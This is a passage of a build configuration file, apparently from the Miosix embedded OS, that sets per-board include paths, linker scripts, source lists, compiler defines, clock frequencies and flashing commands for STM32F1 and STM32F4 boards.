## Base directory with header files for this board - ARCH_INC := arch/cortexM3_stm32f1/common - - ##------------------------------------------------------------------------- - ## BOARD: stm32f103ze_stm3210e-eval - ## - ifeq ($(OPT_BOARD),stm32f103ze_stm3210e-eval) - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval - - ## Select linker script - #LINKER_SCRIPT := already selected in board options - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - arch/common/drivers/sd_stm32f1.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM3210E_EVAL -DSTM32F103xE - CXXFLAGS_BASE += -D_BOARD_STM3210E_EVAL -DSTM32F103xE - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - ifeq ($(LINKER_SCRIPT),$(LINKER_SCRIPT_PATH)stm32_512k+64k_all_in_xram.ld) - PROG ?= $(KPATH)/_tools/bootloaders/stm32/pc_loader/pc_loader \ - /dev/ttyUSB0 $(if $(ROMFS_DIR), image.bin, main.bin) - else - PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 - endif - - ##------------------------------------------------------------------------- - ## BOARD: stm32f103ve_mp3v2 - ## - else ifeq ($(OPT_BOARD),stm32f103ve_mp3v2) - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM3_stm32f1/stm32f103ve_mp3v2 - - ## Select linker script - #LINKER_SCRIPT := already selected in board options - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - arch/common/drivers/sd_stm32f1.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_MP3V2 -DSTM32F103xE - CXXFLAGS_BASE += -D_BOARD_MP3V2 -DSTM32F103xE - - ## Clock frequency - CLOCK_FREQ := -DSYSCLK_FREQ_72MHz=72000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - ifeq ($(LINKER_SCRIPT),$(LINKER_SCRIPT_PATH)stm32_512k+64k_ram.ld) - PROG ?= mp3v2_bootloader --ram main.bin - else - PROG ?= mp3v2_bootloader --code $(if $(ROMFS_DIR), image.bin, main.bin) - endif - - ##------------------------------------------------------------------------- - ## BOARD: stm32f100rb_stm32vldiscovery - ## - else ifeq ($(OPT_BOARD),stm32f100rb_stm32vldiscovery) - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM3_stm32f1/stm32f100rb_stm32vldiscovery - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_128k+8k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp \ - arch/common/drivers/stm32_rtc.cpp \ - arch/common/drivers/servo_stm32.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32VLDISCOVERY -DSTM32F100xB - CXXFLAGS_BASE += -D_BOARD_STM32VLDISCOVERY -DSTM32F100xB - - ## Clock frequency - CLOCK_FREQ := -DSYSCLK_FREQ_24MHz=24000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f100rc_solertegiard - ## - else ifeq ($(OPT_BOARD),stm32f100rc_solertegiard) - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM3_stm32f1/stm32f100rc_solertegiard - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_256k+24k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp \ - arch/common/drivers/servo_stm32.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_SOLERTEGIARD -DSTM32F100xE - CXXFLAGS_BASE += -D_BOARD_SOLERTEGIARD -DSTM32F100xE - - ## Clock frequency - CLOCK_FREQ := -DSYSCLK_FREQ_24MHz=24000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 - - - ##------------------------------------------------------------------------- - ## BOARD: stm32f103ve_strive_mini - ## - else ifeq ($(OPT_BOARD),stm32f103ve_strive_mini) - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM3_stm32f1/stm32f103ve_strive_mini - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_512k+64k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - arch/common/drivers/sd_stm32f1.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STRIVE_MINI -DSTM32F103xE - CXXFLAGS_BASE += -D_BOARD_STRIVE_MINI -DSTM32F103xE - - ## Clock frequency - CLOCK_FREQ := -DSYSCLK_FREQ_72MHz=72000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## BOARD: HY RedBull V2 (or V1) - ## - else ifeq ($(OPT_BOARD),stm32f103ze_redbull_v2) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM3_stm32f1/stm32f103ze_redbull_v2 - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_512k+64k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - arch/common/drivers/sd_stm32f1.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_REDBULL_V2 -DSTM32F103xE - CXXFLAGS_BASE += -D_BOARD_REDBULL_V2 -DSTM32F103xE - - ## Clock frequency - CLOCK_FREQ := -DSYSCLK_FREQ_72MHz=72000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f103cb_als_mainboard_rev2 - ## - else ifeq ($(OPT_BOARD),stm32f103cb_als_mainboard_rev2) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM3_stm32f1/stm32f103cb_als_mainboard_rev2 - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_128k+20k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_ALS_MAINBOARD_REV2 -DSTM32F103xB - CXXFLAGS_BASE += -D_BOARD_ALS_MAINBOARD_REV2 -DSTM32F103xB - - ## Clock frequency - # Not defining anything results in HSI being used - CLOCK_FREQ := - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f100cb_tempsensor - ## - else ifeq ($(OPT_BOARD),stm32f100cb_tempsensor) - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM3_stm32f1/stm32f100cb_tempsensor - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_127k+8k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_TEMPSENSOR -DSTM32F100xB - CXXFLAGS_BASE += -D_BOARD_TEMPSENSOR -DSTM32F100xB - - ## Clock frequency - # Not defining anything results in HSI being used - CLOCK_FREQ := -DSYSCLK_FREQ_24MHz=24000000 -DRUN_WITH_HSI - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f103c8_breakout - ## - else ifeq ($(OPT_BOARD),stm32f103c8_breakout) - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM3_stm32f1/stm32f103c8_breakout - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_64k+20k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp \ - arch/common/drivers/servo_stm32.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F103C8_BREAKOUT -DSTM32F103xB - CXXFLAGS_BASE += -D_BOARD_STM32F103C8_BREAKOUT -DSTM32F103xB - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f100c8_microboard - ## - else ifeq ($(OPT_BOARD),stm32f100c8_microboard) - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM3_stm32f1/stm32f100c8_microboard - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_63k+8k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp \ - arch/common/drivers/stm32_rtc.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_MICROBOARD -DSTM32F100xB - CXXFLAGS_BASE += -D_BOARD_MICROBOARD -DSTM32F100xB - - ## Clock frequency - # Not defining anything results in HSI being used - CLOCK_FREQ := -DSYSCLK_FREQ_24MHz=24000000 -DRUN_WITH_HSI - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f103cx_generic - ## - else ifeq ($(OPT_BOARD),stm32f103cx_generic) - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM3_stm32f1/stm32f103cx_generic - - ## Select linker script - #LINKER_SCRIPT := already selected in board options - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp \ - arch/common/drivers/stm32_rtc.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F103CX_GENERIC -DSTM32F103xB - CXXFLAGS_BASE += -D_BOARD_STM32F103CX_GENERIC -DSTM32F103xB - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f100cx_generic - ## - else ifeq ($(OPT_BOARD),stm32f100cx_generic) - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM3_stm32f1/stm32f100cx_generic - - ## Select linker script - #LINKER_SCRIPT := already selected in board options - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp \ - arch/common/drivers/stm32_rtc.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F100CX_GENERIC -DSTM32F100xB - CXXFLAGS_BASE += -D_BOARD_STM32F100CX_GENERIC -DSTM32F100xB - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f100c8_vaisala_rs41 - ## - else ifeq ($(OPT_BOARD),stm32f100c8_vaisala_rs41) - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM3_stm32f1/stm32f100c8_vaisala_rs41 - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_64k+8k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_VAISALA_RS41 -DSTM32F100xB - CXXFLAGS_BASE += -D_BOARD_VAISALA_RS41 -DSTM32F100xB - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 - - ##------------------------------------------------------------------------- - ## End of board list - ## - endif - - ## Select compiler - PREFIX := arm-miosix-eabi- - ## This architecture supports processes - POSTLD := mx-postlinker - - ## Select appropriate compiler flags for both ASM/C/C++/linker - CPU := -mcpu=cortex-m3 -mthumb - AFLAGS_BASE := $(CPU) - CFLAGS_BASE += -D_ARCH_CORTEXM3_STM32F1 $(CLOCK_FREQ) $(XRAM) $(CPU) \ - $(OPT_OPTIMIZATION) -c - CXXFLAGS_BASE += -D_ARCH_CORTEXM3_STM32F1 $(CLOCK_FREQ) $(XRAM) $(CPU) \ - $(OPT_OPTIMIZATION) $(OPT_EXCEPT) -c - LFLAGS_BASE := $(CPU) -Wl,--gc-sections,-Map,main.map \ - -Wl,-T$(KPATH)/$(LINKER_SCRIPT) $(OPT_EXCEPT) \ - $(OPT_OPTIMIZATION) -nostdlib - - ## Select architecture specific files - ## These are the files in arch//common - ARCH_SRC += \ - arch/common/core/interrupts_cortexMx.cpp \ - arch/common/core/mpu_cortexMx.cpp \ - arch/common/drivers/serial_stm32.cpp \ - arch/common/drivers/dcc.cpp \ - $(ARCH_INC)/interfaces-impl/portability.cpp \ - $(ARCH_INC)/interfaces-impl/delays.cpp \ - $(ARCH_INC)/interfaces-impl/deep_sleep.cpp \ - arch/common/drivers/stm32f1_gpio.cpp \ - arch/common/core/stm32_16bit_os_timer.cpp \ - arch/common/core/stm32_rtc_os_timer.cpp \ - arch/common/CMSIS/Device/ST/STM32F1xx/Source/Templates/system_stm32f1xx.c - -##----------------------------------------------------------------------------- -## ARCHITECTURE: cortexM4_stm32f4 -## -else ifeq ($(ARCH),cortexM4_stm32f4) - ## Base directory with else header files for this board - ARCH_INC := arch/cortexM4_stm32f4/common - - ##------------------------------------------------------------------------- - ## BOARD: stm32f407vg_stm32f4discovery - ## - ifeq ($(OPT_BOARD),stm32f407vg_stm32f4discovery) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery - - ## Select linker script - #LINKER_SCRIPT := already selected in board options - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - arch/common/drivers/stm32f2_f4_i2c.cpp \ - arch/common/drivers/stm32_hardware_rng.cpp \ - arch/common/drivers/servo_stm32.cpp \ - $(BOARD_INC)/drivers/rtc.cpp \ - $(BOARD_INC)/interfaces-impl/deep_sleep.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F4DISCOVERY - CXXFLAGS_BASE += -D_BOARD_STM32F4DISCOVERY - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f4bitsboard - ## - else ifeq ($(OPT_BOARD),stm32f407vg_bitsboard) - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM4_stm32f4/stm32f407vg_bitsboard - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_1m+192k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - arch/common/drivers/stm32_hardware_rng.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_BITSBOARD - CXXFLAGS_BASE += -D_BOARD_BITSBOARD - - ## Select clock frequency (HSE_VALUE is the xtal on board, fixed) - CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_168MHz=168000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f429zi_stm32f4discovery - ## - else ifeq ($(OPT_BOARD),stm32f429zi_stm32f4discovery) - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery - - ## Select linker script - #LINKER_SCRIPT := already selected in board options - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - arch/common/drivers/stm32f2_f4_i2c.cpp \ - arch/common/drivers/stm32_hardware_rng.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F429ZI_STM32F4DISCOVERY - CXXFLAGS_BASE += -D_BOARD_STM32F429ZI_STM32F4DISCOVERY - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f429zi_oledboard2 - ## - else ifeq ($(OPT_BOARD),stm32f429zi_oledboard2) - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM4_stm32f4/stm32f429zi_oledboard2 - - ## Select linker script - #LINKER_SCRIPT := already selected in board options - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - arch/common/drivers/stm32_hardware_rng.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F429ZI_OLEDBOARD2 - CXXFLAGS_BASE += -D_BOARD_STM32F429ZI_OLEDBOARD2 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f411re_nucleo - ## - else ifeq ($(OPT_BOARD),stm32f411re_nucleo) - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM4_stm32f4/stm32f411re_nucleo - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_512k+128k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F411RE_NUCLEO - CXXFLAGS_BASE += -D_BOARD_STM32F411RE_NUCLEO - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## stm32f429zi_skyward_anakin - ## - else ifeq ($(OPT_BOARD),stm32f429zi_skyward_anakin) - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin - - ## Select linker script - #LINKER_SCRIPT := already selected in board options - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - arch/common/drivers/stm32f2_f4_i2c.cpp \ - arch/common/drivers/stm32_hardware_rng.cpp \ - arch/common/drivers/stm32_sgm.cpp \ - arch/common/drivers/stm32_wd.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F429ZI_SKYWARD_ANAKIN - CXXFLAGS_BASE += -D_BOARD_STM32F429ZI_SKYWARD_ANAKIN - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 - - ##------------------------------------------------------------------------- - ## stm32f401vc_stm32f4discovery - ## - else ifeq ($(OPT_BOARD),stm32f401vc_stm32f4discovery) - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM4_stm32f4/stm32f401vc_stm32f4discovery - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_256k+64k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - arch/common/drivers/stm32f2_f4_i2c.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F401VC_STM32F4DISCOVERY - CXXFLAGS_BASE += -D_BOARD_STM32F401VC_STM32F4DISCOVERY - - ## Select clock frequency (HSE_VALUE is the xtal on board, fixed) - CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_84MHz=84000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f469ni_stm32f469i-disco - ## - else ifeq ($(OPT_BOARD),stm32f469ni_stm32f469i-disco) - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco - - ## Select linker script - #LINKER_SCRIPT := already selected in board options - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - arch/common/drivers/stm32f2_f4_i2c.cpp \ - arch/common/drivers/stm32_hardware_rng.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F469NI_STM32F469I_DISCO - CXXFLAGS_BASE += -D_BOARD_STM32F469NI_STM32F469I_DISCO - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f429zi_skyward_homeone - ## - else ifeq ($(OPT_BOARD),stm32f429zi_skyward_homeone) - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone - - ## Select linker script - #LINKER_SCRIPT := already selected in board options - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - arch/common/drivers/stm32f2_f4_i2c.cpp \ - arch/common/drivers/stm32_hardware_rng.cpp \ - arch/common/drivers/stm32_sgm.cpp \ - arch/common/drivers/stm32_wd.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F429ZI_SKYWARD_HOMEONE - CXXFLAGS_BASE += -D_BOARD_STM32F429ZI_SKYWARD_HOMEONE - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f401re_nucleo - ## - else ifeq ($(OPT_BOARD),stm32f401re_nucleo) - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM4_stm32f4/stm32f401re_nucleo - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_512k+96k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F401RE_NUCLEO - CXXFLAGS_BASE += -D_BOARD_STM32F401RE_NUCLEO - - ## Select clock frequency (HSE_VALUE is the xtal on board, fixed) - CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_84MHz=84000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f407vg_thermal_test_chip - ## - else ifeq ($(OPT_BOARD),stm32f407vg_thermal_test_chip) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM4_stm32f4/stm32f407vg_thermal_test_chip - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_1m+192k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_THERMALTESTCHIP - CXXFLAGS_BASE += -D_BOARD_THERMALTESTCHIP - - ## Select clock frequency (HSE_VALUE is the xtal on board, fixed) - CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_168MHz=168000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f411ce_blackpill - ## - else ifeq ($(OPT_BOARD),stm32f411ce_blackpill) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM4_stm32f4/stm32f411ce_blackpill - - ## Select linker script - #LINKER_SCRIPT := already selected in board options - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F411CE_BLACKPILL - CXXFLAGS_BASE += -D_BOARD_STM32F411CE_BLACKPILL - - ## Select clock frequency (HSE_VALUE is the xtal on board, fixed) - CLOCK_FREQ := -DHSE_VALUE=25000000 -DSYSCLK_FREQ_100MHz=100000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= dfu-util -d 0483:df11 -a 0 -s 0x08000000:leave -D \ - $(if $(ROMFS_DIR), image.bin, main.bin) - - ##------------------------------------------------------------------------- - ## BOARD: stm32f415vg_st25dvdiscovery - ## - else ifeq ($(OPT_BOARD),stm32f415vg_st25dvdiscovery) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM4_stm32f4/stm32f415vg_st25dvdiscovery - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_1m+192k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := 